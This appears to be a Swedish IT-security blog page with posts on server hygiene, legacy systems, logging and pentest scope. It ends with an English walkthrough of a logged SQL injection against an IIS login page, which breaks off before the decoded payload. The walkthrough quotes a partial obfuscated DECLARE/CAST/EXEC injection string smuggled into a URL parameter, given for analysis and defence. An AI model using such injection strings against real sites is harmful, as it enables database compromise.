Nyheter

Artiklar om IT-säkerhet

6 november, 2019

Det är en server och inte en clownbil!

Adobe acrobat, Bonzibuddy och Realplayer… Precis vad en server behöver för att fungera. Sen kan man ju som admin surfa på skumma sidor utan att man blir uppkallad till chefen. Perfekt. ”Zero effort administration” – helt utan baksidor. Inga problem! Säkerhet är bara en fluga.

Dags att ta oss tillbaka till 2011, när jag skrev en lite magsur kommentar riktad till alla systemadministratörer som lade in massor av program på servrarna och körde dem därifrån istället för att använda fjärrverktyg som man ju ska. Detta gäller främst Windows-administratörer, men även slarviga Linux-administratörer som kör X-Windows på servrarna (varför??) och sköter dem lokalt. Texten är på Engelska.

It’s a server, dammit!

The days of Nimda, Blaster and Sasser are long gone and good riddance to them. Don’t get me wrong, there have been many worm attacks since and there will be more of them in the future. It’s just that worms spreading from system to system have joined the back of the queue. Old system administrators like me fondly (not really) remember running with CD-roms trying to disinfect PCs after pulling the plug on the network. Last time I had to do that was somewhere around 2002 or maybe it was 2003.

A few years later I was dumbfounded when vulnerabilities came out that could be used by worms and no wide-spread attacks ever appeared. If you take a look at the exploits being used on the Internet you might see a pattern emerging: more and more of the attacks mix types. That is, they use more than one attack vector and often combine different kinds of exploits. The reason is probably two-fold: better security defaults on servers and the need of a flexible approach to circumvent security. The first one is simply that products are better secured out of the box with less attack surface. Most operating systems either firewall listening ports or don’t have any open ports when installed. Services are better secured out of the box as well. The mixed approach simply means that ”modern” attack code exploit vulnerabilities in conjunction with other vulnerabilities and also tries to avoid the most obvious network attacks. An all out ”scan and attack everything you see on the network” is likely to be thwarted by firewalls on the hosts and intrusion detection systems. Remember the download.ject-attack? It exploited a vulnerability in Microsoft IIS to plant exploit code that attacked any un-patched clients surfing to the infected web server. That was frightening back in 2004. 1] But today that’s a pretty common way for an exploit to work. By exploit I mean a program that uses one or many vulnerabilities to attack one or many systems. What it does with exploited systems and how it gets there defines what it should be called, but terms like ”virus”, ”worm”, ”backdoor” or ”malware” are sometimes too precise. Real exploits have blurred the lines between those terms for a long time now.

But this is really nothing new; those mixed attacks have ”evolved” from simple things like worms scanning for open ports to ”morphs” that use different approached to ”attack the desktop rather than system”. The most obvious attack vector nowadays is through a web browser and that has been the truth for many years now. All browsers I know of have had a number of vulnerabilities and the ways most of them use plug-ins aren’t helping either. So long story short: a server that often have people logged on at the console is a more ”juicy” target than one that is administered remotely. And don’t think ”Remote Desktop” or ”Terminal Services” won’t count, they do! Whether you connect to a server with RDP, a shell over SSH or actually sit on the console doesn’t matter that much. There is some confusion with the nomenclature when it comes to logons, so let me sort them out. In Windows, when you logon to the desktop, it counts as an ”interactive logon” regardless if you do it locally, over remote desktop or over remote desktop in console mode. In contrast: access to a Windows server through, let’s say, a web service counts as a network logon and will not give you a desktop. This is quite a bit of an oversimplification, I know.

Citrix and terminal servers pretty much have to allow interactive logons or they wouldn’t work, but way too often people logon to normal production servers interactively. And it gets worse, many administrators I have known (including me at times) like using the servers as extended desktops.

The solution is easy but painful:

  • Don’t allow the server network to access the Internet unless needed. And if so, only to selected sites or services.
  • Don’t administer the server from itself on a day-to-day basis. Remote administration is preferable.
  • Logout when you’re done.
  • Don’t surf to the Internet from any server unless it’s a part of its operation.
  • Don’t leave a pile of unorganized scripts and programs strewn all over the server.
  • Don’t install software that is meant to be used on a workstation.
  • Respect network flow rules and network zones!

Those tips are just meant to foster a more secure approach towards administration of servers. There are many best practices and processes that should be implemented. So in short: treat your server as a workstation and it shall be attacked like a workstation.

1] http://en.wikipedia.org/wiki/Download.ject

30 oktober, 2019

Den långa svansen

Jag får inte matematiken att fungera riktigt, men det är nog det som är meningen med detta skämt. Fungerar bättre om man tänker på ”server” som en teknisk pryl och inte en servitör.

Idag är ju en majoritet av systemen byggda med säkerhet som ett viktig mål. Det går inte att fortsätta använda uråldriga principer för att skapa nya program och ny hårdvara. Så allting borde ju vara på väg i rätt riktning. Och det är det nog faktiskt. Men… Om man nu skulle tro att det inte finns en stor del kvar av en svunnen tid, är det bara att titta runt.

ShodanHQ visar hur mycket gammalt skräp som fortfarande finns uppkopplat. Eller webbtjänster med sårbarheter man trodde vara borta sedan länge. Eller system som inte är patchade eller helt enkelt saknar krav på inloggning för att få användas. Det är snart ett år sedan Pewdiepie fick gratis reklam på tusentals osäkra skrivare uppkopplade till nätet. Riktigt bedrövligt att det fortfarande finns skrivare du kan koppla upp till över Internet. Vem kopplar i dessa tider överhuvudtaget in saker utan en brandvägg? Alltså utan en teknologi som folk började använda på bred skala när bredbanden blev populära.

Jag talar både om saker som borde försvunnit för 15 år sedan, men lika mycket om saker som är moderna men inte klarar av att stå på nätet. Den stora massan av undermåliga system formar en lång svans av plattformar för hackare att ta över. På 2000-talet var en stor mängd av skräpet dåligt skyddade Windows-burkar som folk kopplade in utan någon brandvägg. Windows XP hade en riktigt värdelös brandvägg som inte blev användbar förrän man faktiskt fick ordning på den med service pack 2 år 2004.

En del saker var kanske någotsånär säkra när de var nya men har, som sagt, sedan länge övergetts av tillverkaren. Detta har vi pratat om i tidigare inlägg, men det är fortfarande värt att tänka på. För något år sedan fick jag en fråga av en kund vad man kunde göra med en Windows NT-server som måste vara kvar och kopplad till nätet. Hur skulle den skyddas om den var tvungen att vara nåbar över SMB-protokollet? De portarna är bland de farligaste att ha öppna på en gammal Windows server. Windows NT slutade utvecklas 1999 för att sätta saker i perspektiv. Det har ingen egen brandvägg och inget skydd mot nätverksbaserade attacker att tala om.

Sen har vi saker som är skrivna i sedan länge övergivna ramverk och programspråk. Webbapplikationer som saknar all typ av skydd mot de vanligaste attacktyperna på nätet.

Ibland är dessa system ett blödande skotthål i ett annars tätt pansar. En uråldrig enhet tillhörande ett nätverk av ordentligt skyddade servrar med välbyggda applikationer. Denna svaga punkt, kan negera allt annat skydd.

Varför finns denna lång svans av smitthärdar kvar i dessa dagar? Det är svårt att säga, men det är fortfarande ett stort problem, och visar inga tecken på att minska. Detta ska läggas till det faktum att det idag dessa dagar kopplas in allt fler och fler enheter till Internet. Hur blir det med IPV6? Kommer det blir ännu värre? Framtiden ser inte ljus ut här.

23 oktober, 2019

Vi behöver inte fler rockstjärnor

Artistens tolkning av begreppet ”Rockstar developer”, som det borde tolkas.

För ett antal månader sedan skrev jag om vikten av samarbete snarare än att försöka lösa alla problem själv. Och det är fortfarande givetvis sant. Dock verkar inte alla företag och organisationer fatta detta, så man vill istället slå ett slag för ”rockstjärnan”. Titeln ”Rockstar developer” syftar på en utvecklare som med sin attityd och sitt kunnande är en enmans (eller kvinnas!) armé. En person som är en legend som är superkreativ på samma sätt som en riktig rockstjärna. Dock förväntas denna person på något märkligt sätt att följa regler och fungera bra i team samt inte knarka på arbetsplatsen.

Jag känner till många ”rockstjärnor” som jag sett under mina dagar i branschen. De behöver givetvis inte vara just utvecklare, men de är alltid samma typ av person: kan allt, gör allt och vill dessutom bygga allt själva. De lämnar efter sig egenbyggda lösningar som fungerar olika bra. Ingen har insikt i dem och de är inte dokumenterade. På ett av mina jobb såg jag ett verktyg byggt av en talangfull anställd som gjort allting och sedan lämnat bygget. Jag såg rätt snabbt att denna applikation var redigt problematisk. Den var om jag minns rätt öppen för SQL-injektioner, Local File Inclusions och XSS. Jag läckte snabbt ut lösenordet ur databasen och meddelade sedan IT-ansvarige och förklarade att detta måste fixas omedelbart. ”Rockstjärnan” som skapade detta verktyg hade visserligen byggt något som var mycket användbart, men hade trots allt ingen koll på säkerheten.

En ”Rockstjärna” jobbar på sitt eget rykte och är känd för att leverera och lösa alla problem utan att för den delen lyssna på vad någon annan har att säga. Lösningarna är enligt vederbörande ett tecken på genialitet och kreativa idéer. Men kreativa lösningar är dåliga lösningar som inte följer någon form av standarder. Personen vägrar, som sagt, låta andra göra någon del av jobbet, eftersom det då solkar ner Rockstjärnans rykte som perfekt och ofelbar. Siten Daily WTF är full av exempel på program och kod efterlämnade av dessa hjältar som ingen vågat kritisera eller granska.

Rätt uppenbart är dessa personer, särskilt om de är utvecklare, en källa för stora problem för folk inom säkerhetsbranschen.

Så vad vill man ha? Precis vad jag sagt tidigare: en grupp med olika kompetenser som samarbetar och levererar en uttestad och säker produkt utan att det blir en utpekad persons ”pet project”. Gruppen kan komma att förändras, men arbetet fortsätter och dokumenteras. Produkten hålls säker genom att använda standardiserade ramverk, följa säker utveckling enligt t.ex. OWASP och ha ett ”livscykel”-tänkande.

Detta tangerar min tidigare diskussion om ”De som lovar för mycket”. Dock pratar vi här lika mycket om utvecklare som andra roller inom IT-världen, eftersom dessa påverkar organisationens säkerhet. Så IT-säkerhetsbranschen själv är lika sannolik att ha dessa personer som på något sätt anser sig stå över kritik och att behöva följa en metodik som fungerar.

17 oktober, 2019

Hur ser moder natur på IT-säkerhet?

Charles Darwin, mannen, vars teorier kanske inte är de bästa när det gäller IT-drift. Eller är de? Kanske är det precis så man ska göra?

Ibland kan man sticka ut huvudet lite, vilket jag gjorde för en 10 år sedan, då jag skrev om moder natur och kritiserade idén med proaktivt säkerhetsarbete. Menat mest för att få folk att tänka, snarare än att slå fast några teser. Varsågod! Ja, det är på Engelska.

Why won’t we ever get rid of vulnerable software and hardware? What does it take to make everything perfectly secure? Most people I ask those questions respond by saying it cannot be done and I think they’re right. But why do we still act as if there was a way to make all security problems go away?

I think there are a lot of different reasons that causes us to push forward to remove all risks by being “proactive”. To be proactive is thus to solve any problem before it appears, right? If so, why do we need early warning system to be proactive? Just let that sink in for a moment.

If you detect a problem before it gets critical, you’re not really proactive. You’re reactive, but reacting in time. The word “proactive” means to “(…) initiate change rather than reacting to events.” 1) In order to be proactive, you cannot ever look at any values or logs, because the moment you detect that something heading the wrong way, you’re reacting to an event. The only true way to be “proactive” is to be Nostradamus. And his track record is … well … almost entirely wrong.

So, what’s the point of this discussion? I’m not trying to discourage early detection of problems or forward planning. Those two factors can really increase reliability and uptime for any system. The problem is that we see any problem “getting through” as a total failure.

Good security involves protecting a system in proportion to the loss a compromise would cause. This is in many of the security books you can read. By implication, a sound security plan accepts that enough resources spent by an attacker will give them a good chance to actually succeed. This also means giving up the pipe dream of never getting hacked or having a system failure.

If Mother Nature applied for the position of system administrator, no one would hire her.

– ”So, how would you make sure the network can handle an intrusion?”
– ”I would let it happen and let the devices that survive remain online afterwards.”

Not exactly what you want to hear from your system administrator? Still, that’s how it’s done in reality. When an intruder is successful, smart people learn how it was possible for the intruders to get through and then they adapt their infrastructure to cope with the new situation. And sometimes they still get hacked again, until their security is good enough to stand the test of time. But this cannot last either, because any security stance will weaken over time. So the cycle repeats as long as there are enough dangerous risk agents around. There is a reason risk management plans include terms such as “annual rate of occurrence” and “single loss expectancy”. Security planners actually expect attacks to be successful more than once in the life time of an organization. With as little exposure of vital systems as possible, smart and fast detection of attacks, forward planning (this is as close to “proactive” you get in reality) and reduction of complexity of the systems; you can mitigate your risks. But eliminating them? Please! Not even Mother Nature would try to do that! Instead plan ahead and learn how to survive when it happens while still upholding a good security regiment.

Anyone talking about “zero tolerance” or “proactive security” is either blind or not telling you the truth.

10 oktober, 2019

Är paranoia ett krav i branschen?

Du till vänster och dem till höger. Eller är det tvärtom?

Svaret är: det är det inte. Men man kan ju undra med tanke på vilket negativt tankesätt som krävs för att kunna jobba med IT-säkerhet ibland. Förutsätt att alla hackare är ute efter just ditt nätverk. Förutsätt att det alltid är någon som hittar på en helt ny attack som du snart måste förstå för att kunna skydda dig själv, dina kunder eller ditt jobbs nätverk.

Är du på det ”blåa laget” (försvarare), måste du förstå allt som finns med nätverksdesign, säkerhet på djupet och alla principer och regler som kommer med ditt jobb.

Är du på det ”röda laget” (pentestare/red team/white hats) gäller det att lära dig hur man hackar med de senaste attackerna, förstår hur nya teknologier kan knäckas och hur du tar dig in när allting samtidigt säkras upp med nya versioner.

Blir det bättre eller sämre? I min åsikt, både och. Vi blir allt bättre på vad vi håller på med och samtidigt blir våra motståndare bättre och får allt större budgetar. Länder som knappt verkar kunna ha elektricitet för att driva glödlampor i varje hem, genererar superkompetenta hackergrupper som snabbt får internationellt renomé.

Detta inlägg samlar ihop flera andra diskussioner vi har haft tidigare. Att man alltid måste lära nytt, att allting förändras kaotiskt, att ingenting kan antas och att man aldrig får sluta bygga på sin säkerhet.

Om du inte har fattat det än – du arbetar i en av de mest kaotiska branscherna som finns.

2 oktober, 2019

Hjärnan mot maskinen

… eller varför ”hacka nu”-knappen inte finns.

Tryck på den om du vågar… Den startar bara ett omfattande säkerhetstest mot alla nätverk den kan hitta. Vad kan gå fel?

Jag hade inget bättre för mig en kväll och bestämde mig för att ta reda på vad för funktioner som fanns i betalversionen av säkerhetstestverktyget ”Metasploit”. Det kostade närmare 150 000 kronor att köpa in, eller så fick man nöja sig med en gratisversion som saknade de automatiserade delarna. Dessa som skulle göra ett penetrationstest så enkelt så att vem som helst kunde göra det.

Och det fanns en guide som lät dig sätta upp ett penetrationstest och låta programmet göra resten. Givetvis provade jag det och insåg till min stora fasa vad det var den i själva verket gjorde. Detta automatiska test gissade vad maskinerna som den testade hade för programvaror och började sedan oblygt att bombardera dem med alla attacker som eventuellt skulle kunna passa. Den gissade hejvilt och testade sårbarheter som tillhörde programvaror som slutat tillverkas för 15 år sedan, programvaror som skulle kunna installeras på tjänsten men garanterat inte fanns där och i princip allt som skulle kunna kopplas på ett nätverk. Detta blev många hundra tester totalt. Allt gjordes i ett vansinnigt tempo. Nu gjorde jag detta på mitt eget hemnätverk, men hade jag gjort detta hos en kund hade varenda larmklocka som fanns i form av nätövervakning skrikit i högan sky. Larmloggarna hade varit knallröda och kunden hade märkligt nog varit nöjda med detta. Det är en udda observation: ibland undrar kunder varför de inte sett mer av attackerna i sina övervakningssystem. Svaret är: för att vi gör dem rätt! Och rätt är att lägga tankeverksamhet bakom testerna. Att metodiskt testa efter ett schema och observera vad man får tillbaka. Att förstå hur något man får tillbaka kan vara intressant att testa vidare och hur andra svar inte visar på någonting som verkar gå att hacka.

Där är skillnaden mellan automatiserade program som ser utan att observera och en tänkande människa som avgör vad som går att använda.

Så uppenbarligen går det inte att bygga en testprogramvara som gör allt åt en. Inte just nu i alla fall. Som jag sa i ett poddavsnitt nyligen: det kanske blir av när man uppfunnit starkt AI. För att klargöra: detta lär inte hända under min generations livslängd.

En annan sak man måste förstå är att maskiner saknar gränser om den som använder dem inte vet sina. Jag var en gång ute och presenterade resultatet av ett säkerhetstest och kunden sa att de var förvånade över att jag inte rapporterat samma resultat som alla andra av deras testare hade gjort. När jag hörde det, blev jag alldeles kall. Hade jag missat något? Kunden radade upp ett antal sårbarheter som jag inte rapporterat. Mitt svar var att jag inte ombetts att testa den delen av systemet där dessa sårbarheter hittats. Kundens svar var att jag var den enda av testarna som hade förstått att inte attackera mål de inte hade fått i uppdrag att testa. Så … jag hade alltså gjort helt rätt i detta fall. De andra som hyrts in att testa samma tjänster hade glatt gått lös på närliggande delar av systemet och detta sågs givetvis som någonting negativt.

Så vad betyder detta? Svaret är att det att allt säkerhetsarbete kan stödjas och BÖR stödjas av program och testmetoder, men det måste ske på ett sådant sätt att det leds av en eller flera tänkande individer som använder tanken som sitt främsta vapen.

”I am a brain, Watson. The rest of me is a mere appendix.”
― Sherlock Holmes, The Adventure of the Mazarin Stone

Och vet var gränserna går! Säkerhetstestare som överskrider sina tillvägagångsregler kan hamna i domstol. Jag skämtar inte. Det är helt sant.

28 september, 2019

SQL-Injektioner

I avsnitt nummer 45 tar vi oss an begreppet SQL Injection.

Jag och Erik verkar gilla den här sårbarheten, eftersom förutom avsnittet, finns ju Eriks bloggartikel i ämnet här.

I avsnittet pratar vi om ”OWASP Top Ten Project” och den är ju intressant att kika på. – länk.

Och så nämner vi lite fakta – 65% av alla webbattacker nyttjar SQLi som vektor. Källan finns här (https://www.cbronline.com/news/sql-injection-attacks) – en väldigt spännande vinkel i artikeln är att spelkonton är hackares nya favorit.

25 september, 2019

18 år av säkerhet

En era definierad av ord… Och vi lever mitt i den…

2011 skrev jag vad som kom att bli mina avskedsord i det nyhetsbrev jag skrev för mitt dåvarande jobbs räkning. I det summerade jag de tio år som gått sedan terrordådet i New York den 11 september. Nu har 18-årsdagen nyligen kommit och gått och jag har bestämt mig för att uppdatera det med nya insikter. Här är det alltså: 18 år av säkerhet… och Internet.

2001 knackade Nimda på dörren medan vi genomled effekterna av Dot com-kraschen utan någon ljusning i sikte. Enron gick under och MCI/Worldcom kraschade. Sen kom ännu ett utbrott av mask-attacker och spamokalypsen gjorde grandios återkomst. Internet var nu så vanligt att även våra farmödrar och farfäder började använda det för precis allting. När maskattackerna tills sist ebbat ut, var det webbläsarnas tur att bli måltavlan och skadlig kod gick från att kunna några få trick till att bli veritabla Schweiziska arméknivar som kunde ta ner vilken dator som helst. För att bevisa att vi ingenting lärt oss, såg vi till att allt mer och mer av vår mjukvara krävde att vi alltid var uppkopplade mot nätet. Att spela ett spel utan tillgång till molnet var praktiskt taget omöjligt. Även för spel som inte var menade att spelas tillsammans med andra.

Den totala volymen av säkerhetsfixar vi var tvungna att installera gick från spridda skurar till ett ösregn av kritiska fixar som man var tvungen att lägga in. Musiken, både legal och illegal flödade till våra datorer genom bittorrent, ITunes och så många tjänster att det är omöjligt att nämna dem alla.

Everquest, World of Warfact och mängder av kloner slog ihop idén med sociala gemenskaper, chattkanaler och spelande och gjorde därmed spelande till någonting socialt snarare än något för den inbitne ensamvargen. Sen började man ta betalt för allting smått och gott i spelet. Var man lat kunde man vinna spelet genom att öppna plånboken. När vi ändå pratar om sociala gemenskaper, så gick vi från IRC-kanaler, till Myspace och sedan Face book och Twitter.

Myspace bevisade att ingenting vara för evigt när de tappade bort stora delar av sitt data. Trots detta fortsatte vi förutsätta att allt vi skrivit på nätet var skrivet för att aldrig förstöras.

Allting kunde man hitta med Google, vilket inkluderade ditt hus och kartor av området du bodde i. Till sist hamnade vi själva på kartan när Google och många andra höll koll på exakt var vi var vid varje tillfälle. Inte ens George Orwell kunde komma på att skriva om detta. I hans bok ”1984” hade huvudrollsinnehavaren, Winston Smith, en dold vinkel där kamerorna inte kunde se honom. Om så verkligen var fallet i boken kunde diskuteras, men vi insåg snabbt att vi definitivt inte hade någon sådan plats verkligheten. I alla fall så länge vi hade mobiltelefonerna på. Om det ens hjälpte.

Och när vi talar om mobiltelefoner. De gick från oförstörbara pansarvagnar av typen Nokia 3310 som troligen hade batterier som höll laddningen fram till nästa århundrade, till moderna Iphones och Android-lurar som i princip ersatte all hemelektronik vi bara kunde drömma om på 80-talet. Videokamera, walkman, telefon, telefonkatalog, nätverksenhet, kamera, papperskartor i ett paket som var billigare än vad hälften av dessa prylar skulle ha kostat tillsammans – till priset av din integritet, tid, säkerhet och sömn. Din telefon blev en perfekt blandning av allvetande gud och läckande såll för alla hackare att ta del av.

Hackarna började med trevande steg och mognade till brottslingar som gjorde attacker till en lönsam födkrok. Vi gjorde saken sämre genom att inte riktigt veta hur vi skulle skapa lösenord för att vara säkra. Sommar2019, någon? Sen kom multifaktorautentiseringen och gjorde vad bra säkerhet ofta gör: allting jobbigare… men säkrare.

Och glöm inte alla skumma siter du kunde gå på och få dina bankkonton tömda och din dator smittad av så mycket skadlig kod att det var lättare att ta ut den i skogen och skjuta den med en ominstallation av Windows än att försöka reda ut härvan. Men sen kom ju YouTube och du kunde plötsligt hitta den där sången som du hörde på radion exakt en gång 1982. Musikindustrin var inte så lyckliga, men lyckades till sist få Youtube under kontroll. Spotify blev en stapelvara och vi började knarka Netflix på våra TV-apparater.

Piratkopieringen kom, blev en het fråga och sedan en politisk fråga. Alla laddade ner allt och skivindustrin ansåg att en iPod fylld med upphovsrättsskyddad musik var det mesta värdefulla objektet i vårt kända universum. I alla fall om man räknade hur mycket de påstod att artisterna förlorade i intäkter på varje piratkopierad sång och multiplicerade det med hur många som rymdes på en spelare. Bland alla program som kunde laddas ner frodades efter att tag skadlig kod som en härd av illasinnade bakterier. Sen tröttnade folk på det hela och streamade sina filmer och sina låtar. Någon märklig grupp återfann vinylskivan och njöt av idel knaster och sprak som hade musiken som bi-effekt.

Myndigheterna världen över vaknade upp som från en mardröm av maktlöshet medan Internet sjöng frihetlighetens lov. Och de agerade med den sedvanliga paniken man kunde vänta sig och snart hade vi ett hav av lagar och förordningar som skyddade allt och alla mot just … allt och alla. Vidare blev övervakning av alla oavsett smutsighetsgraden av deras mjöl i påsen något som bara fanns där. Om det var bra eller dåligt debatterade både de lärde och folk som var spritt språngande galna om. Ingen konsensus nåddes och troligen kommer solen ha slocknat innan det sker.

Kina växte sig större och Indien blev platsen dit alla ville flytta sina it- och utvecklingsavdelningar. Indien hade Kina som underkonsulter och Kina skickade sedan vidare till Afrika. Troligen kommer snart någon ringa in eskimåerna. Detta fick mjukvarumarknaden att blomstra.

Folk möttes, blev kära och till och med ”levde tillsammans” på Internet. Men samma nät lärde oss också fruktan för alla som vi inte kände och siter där folk inte höll med oss. Trenden att hänga ut dömda brottslingar blev en grej. Vi gick från att försiktigt prata om att publicera bilder på misstänkta till att ”doxing” blev en grej. Nätet vet inget om måttlighet.

Och smörgåsbordet med all kunskap som mänskligheten kände till åts i små portioner där vi föredrog det vi redan visste att vi gillade. Men det gick inte att undvika att vi då och då fick oss andras åsikter till livs i alla fall.

Apple kom tillbaka som fågel Fenix och hade med sig en ny, moderiktig stil. Microsoft gjorde totalt fiasko med Vista, men togs till nåder i och med Windows 7. Sedan dess verkar de lyckas med varannan version av Windows de släpper.

Protester mot nationsstaters sekretess och myndigheters hemlighetsmakeri tog fart och helt plötsligt hade vi Wikileaks. Nationerna började se hur Internet kunde användas för att spionera och sabotera och vips var en ny spelplan öppnad. Allt från sabotage av kärnbränsleanrikning till stöd för krigsföring kom vi att uppleva medan vi undrade om åskan slagit ner.

Den skadlig koden utvecklades till ransomware och program som kunde ligga dolda och läcka ut information från företag och organisationer i månader innan de upptäcktes.

Demokratierna skakade och en del diktaturer till och med föll. USA fick sin första aftoamerikanske president som visade hur Internet kunde erövras från en Blackberry och sedan kom affärsmannen med det yviga håret och kommunicerade vitt och brett med oss alla via Twitter. Innan dess fick vi lära oss hur sociala medier kan användas för att påverka vilka vi röstar på, hur vi handlar och till och med hur vi tänker. Och politiska åsikter fanns det helt plötslig ingen brist på. Alla från vänster- till höger på den politiska skalan hade en uppochnervänd tvållåda att hålla tal från.

Så vi har flyttat ut på nätet med ondskan hack i häl. I denna nya sköna värld har vi avancerade attacker och främmande makter som vi måste förhålla oss till. Glöm inte de förarlösa drönarna heller.

Vad av detta som kan inlemmas i IT-säkerhetsområdet och vad som hör till samhällskunskap är svårt att avgöra. Men en sak är säker: jag har nog glömt hälften i denna berg-och-dalbana som går mellan ren logik och totalt kaos i en handvändning. Men håll med om att det varit snart 20 mycket intressanta år i alla fall.

18 september, 2019

Loggning i blindo

Ögonblicksbild strax innan insikten att loggarna ligger på samma server som just nu brinner.

Det är något som alltid fascinerat mig: hur många som sparar loggar utan att någonsin fundera på hur de ska användas vid t.ex. ett intrång. De är nöjda med att kunna kryssa för ”vi har loggning” i ett testformulär och sedan… ja… vad då? ”Vem bryr sig? Vi loggar ju”. Allt klart. När något händer, finns det ingen plan eller någon metod för hur man ska få ut något ur drivorna med arkiverade loggar. Men som sagt: ”Vi loggar ju”.

Tillbaka till mina gamla blogginlägg från förr: texten är på Engelska.

Can’t see the forest for the logs?

Do you remember those old analog TVs, where you could pull the antenna cable out to look at the whirling static of white and black dots? For all intents and purposes, what you see is more or less random and no one could possibly call what you see on the TV-screen “information”. But that is what it is. However, when we talk about “information”, we often mean “useful information”. The bad news is that it can be hard to know what is useful now or in the future.

When working with computer generated logs, this can be disastrous. Logs? I’m not talking about the kind that used to be trees. Many applications store informational, warning and alert events in files or databases. Those databases and files are what we call logs. We often install systems and applications without thinking why and what should be written into them. All logs can give potential clues when we try to track an intrusion or when we try to find the cause of a failure. But when the time comes to look for those clues, they may not be there for us and there are quite a few reasons for that:

We have no plan why we log

Ask operations and they tell you logs are for troubleshooting. The guys in security talk about auditing and forensics and the web master needs to know how the site is doing on the big market called the Internet (assuming we’re talking about a web site, off course). Logs can cater to all those needs, if we set the system up that way. But that is a job for an IT-architect and should be done long before the system is actually built. At this time I want to remind you that organizations should have a set of written policies dealing with security and rules. This is outside the scope of this discussion, but the relevant parts of the security policies must be used to decide how to build the logging architecture.

We wait too long

Logs are often setup to start overwriting the oldest entries after some time or when they get larger than a preset size. In short, we could be too late to actually see something, since the log data has been erased. The solution is to understand what will use the logs for and how much history we need. This should be decided when we design the system and must be applied system wide. Yup, I’m repeating myself, I know!

We log all the wrong things and forget to log the right things

Did you know that the web server Microsoft Internet Information Services 6.0 doesn’t log the referer (yes it’s spelled that way!) tag by default? The referer (sic!) tag can show the address of the site the user was surfing on, when he clicked on a link to your site. It’s probably not so interesting to log just for security purposes, but it is very important if you want to know which search phrases or sites link to your site. Do you only log failed logon attempts? Then you won’t know when they actually managed to break in.

We fail to understand the consequences of our settings

If you setup your logs to rollover after a specified time or size, you don’t have to worry about them filling up the disk. Computer criminals know that this is a common practice and often try to hide their tracks by generating a massive amount of events in relevant logs until they rollover and delete the evidence. If we allow it to fill up, an attacker may be able to cause a system to fail by generating events until the system cannot log anything more. If we don’t transfer our logs to a secure system, an attacker that succeeds in taking over a system can destroy all evidence by clearing the logs. And if we do transfer the logs, the total cost of ownership goes up. All choices have their merits and flaws.

We log inconsequentially

The days of everything being “one server – one system” are long gone. Many larger systems consist of servers, network equipment and even cloud services working in unison. We must make sure we log everything as dictated by the policy on all parts of the system where possible.

… And my favorite: we have no idea what to do with it!

Ok, so you now have megabytes of data at your disposal. Whether you want to detect problems and security issues before they happen or want information enough to nail the attackers afterwards, you can seldom just rely on reading the logs manually. You need tools, procedures and scheduled time for it. This is a huge area and there are hordes of free and commercial products and appliances that can help you finding what you’re looking for or hide it from your eyes by being totally useless tools. The right tools for intrusion detection may be totally useless when it comes to troubleshooting stability issues.

This post in one sentence: thought applied before action saves the future.

11 september, 2019

Att avslöja en SQL-injektion

Någon gång 2010 fick jag analysera en attack som fastnat i mitt jobbs IDP. Teknikerna ville ha en förklaring av hur den fungerade och om den var farlig. Så jag skrev en kort uppsats där jag förklarade det hela för dem. Denna skrev jag senare om för min numera avsomnade blogg. Så för den som vill nörda ner sig i lite klassisk webbapplikationssäkerhet, återger jag den här. Den är ganska djup rent teknisk, men borde ge en tanke om hur det fungerar. Och, ja, den är på Engelska. Hoppas den går att förstå ändå.

I’ve written a lot about security and politics lately, but I’m a technician at heart, so I think it’s time to dig into security from a technical stand point. So today, let’s take one of the many SQL-injection attacks out there on the Internet and pick it apart. The code has been urlcoded, so it cannot harm your web browser. Had that not been the case, it would have been too late anyway.

A few words of warning

The attack is a very real and fully functional attack that you must not put into an SQL-editor connected to a database server and ”run it just to test”. It may actually work and then, congratulations, you’re in deep trouble. Infecting your own database server running as a virtual machine on a private network is probably just fine, as long as you treat it with a flame thrower afterwards. Remember, itís like having your own vial with a frozen Ebola-virus. It will be fun until it spreads. Ok, let’s be fair, this attack is not a virus or even a worm. It is the effect of a worm or more likely a program scanning all subnets it can find. The difference between the two is that the worm spreads and attacks from servers it has conquered. But I digress…

The semi fictitious scenario

You get an alert from someone claiming to see something weird in the log of a Microsoft IIS server and they believe you’re the expert on the matter. So you logon to the server, but have no idea where to look. The person who alerted you have no idea which log it was and only a vague idea as to when.

This might seem hopeless, but a bit of deductive logic goes a long way. When you open the IIS manager console, you note that all websites store their logs under d:\wwwlogs. So you use the built in search function to search through all *.log-files created during the last week for … Yeah, for what? Good question. This could be tricky, but there has to be something that sticks out in an attack. Searching for ’ and SELECT does nothing. This is weird you think. But recently you read something about hackers using CAST and VARCHAR. You type that into the search box and restart the search.

Good news: Bingo, you got a hit from the logs.

Bad news: It looks like this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp?subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20
VarCHAR(4000);SET%20@S=CASt(0X64 … <Removed>… F5220%20aS%20VARcHar(4000));eXEc(@s);– 80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

2010-08-10 15:17:49 192.168.13.13 GET /company/login.asp subPage=form.asp&nr=2&amp

Fantastic. What they Sam Hill are we looking for here? A part of the log entry makes sense, though.

Someone tried to access the login-script on one of the web sites. You use the directory name the log was created under to figure out which site it is. It’s called W3C1. The IIS manager tells you that this site hosts the web application called MuchoSell under www.ericade.net. So it must be http://www.ericade.net/muchosell/login.asp.

The tail end of the log entry also makes sense:
80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

The attack was against port 80 (standard for web sites), it came from 666.666.666.666 and it claimed to use Internet Explorer 7. It also got a http code 200 back. That means the transaction executed successfully. Is that good or bad in this case?

You probably know that 666.666.666.666 is an impossible ip-address. It’s like those 1-555- telephone numbers you see in Hollywood movies.

But the rest of the code, what is it good for? It really looks kind of useless. Does it even mean something? Yes, it does. A bit of history: the intrusion detection systems that many organizations use can detect SQL-statements sent as parameters in urls. This is bad news for the cracker, and hence the need for obfuscation. The SQL-server actually decodes the weird characters and then interprets them. So if that’s possible, shouldnít we be able to do the same? The answer is off course yes.

The text is not encrypted; it’s just encoded as hex decimal characters. We need a tool to decode it. Your weapon of choice is ”ASCII Hex URL Decoder”, available from https://github.com/Dillie-O/ascii-hex-url-decoder. But when you try pasting the text into the program you get an error message stating that ”the code must be wrapped in a CAST-statement”. CAST is not what you ended up with on your leg after that horrible ski-trip. It’s actually a transact-sql statement telling SQL that it should change one format into another. In this case hex code into varchar. Varchar is a text string, so the CAST-statement must decode it to make it a varchar. After changing the mixed case text to read CAST(0x6 … VARCHAR(4000)) the decoding works and you end up with:

